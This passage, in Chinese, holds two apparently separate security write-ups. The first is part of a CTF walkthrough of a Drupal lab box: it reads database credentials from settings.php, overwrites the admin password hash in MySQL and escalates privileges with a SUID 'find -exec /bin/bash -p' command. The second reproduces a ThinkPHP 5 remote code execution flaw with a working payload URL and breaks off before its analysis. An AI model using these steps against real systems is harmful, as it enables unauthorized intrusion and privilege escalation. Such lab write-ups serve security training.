再使用cat查看

ls
cat flag1.txt
给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

4.flag2

每个好的CMS都需要一个配置文件——你也是。

那我们找下他的配置文件

find . -name “set*”
图片

查看内容

cat ./sites/default/settings.php

图片

发现flag2

文件里面有数据库的账号密码

也给了提示

*暴力和字典攻击不是最常见的

*只有获得访问权限的方法(您将需要访问权限)。

*你能用这些证书做什么?

暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录

后面的意思应该是后续需要我们提权操作。

5.flag3

前面给了我们数据库账号密码以及数据库名字

‘database’ => ‘drupaldb’,

‘username’ => ‘dbuser’,

‘password’ => ‘R0ck3t’,

我们尝试登录一下

mysql -udbuser -pR0ck3t

图片

查看库

show databases;
进入drupaldb库中

use drupaldb
查看库中的表

show tables;
仔细观察我们可以看到有一个users的表,然后查表

可以看到admin的密码给加密了S S

SD应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。

图片

find . -name “hash

图片

找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456
图片

果然返回了hash后的值。

原来admin的密码hash后为:S SSDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

显然靠我们一个一个试不切实际。可以换一个思路既然找不到密码是多少,那么我们就把原来密码替换了

刚刚123456 hash后为:S SSDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC

重新回到数据库drupaldb内。

更新密码

update users set pass=’S SSDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC’where name=“admin”;

更新完成后 访问网站

得到flag3;

并且获得提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

6.flag4

根据提示passwd我们可以想到/etc/passwd

cat /etc/passwd
图片

发现里面有flag4,给了个路径/home/flag4

切换到flag4里面看看有什么文件
cd /home/flag4

ls
图片

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null
find 指令

/ 根目录(查找位置)

-perm 权限

-u 用户(s=特权)

-type 类型

f 文件

2>/dev/nul 过滤错误信息(不显示错误信息)

看到find就在其中,那就比较简单了。直接使用find提权

find / -exec “/bin/bash” -p ;
再次查看

cat flag4.txt
找到flag4

并且给出提示:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

7.flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root
ls
可以看到有一个thefinalflag.txt 最后的flag

直接cat查看即可

cat thefinalflag.txt
获得最终的flag

8.总结

1.nmap,arp-scan使用

2.whatweb 指纹识别

3.msf使用对应的模块

4.mysql的修改数据

5.SUID提权

漏洞概述

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

影响版本

1
ThinkPHP 5.*,<5.1.31ThinkPHP <=5.0.23

漏洞复现:

1.访问url,内容如下,发现是thinkphp框架的

图片

网页的icon也能显示他是thinkphp框架

图片

随便输入点路由,报错也能显示是thinkphp

图片

有些时候访问robots.txt,里面也会显示相关框架的信息,但这个环境并没有

2.使用工具验证是否有漏洞

图片

直接用工具打一下

图片

执行whoami成功,手动在网页打一下

图片

1
payload:/?s=/index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

漏洞分析: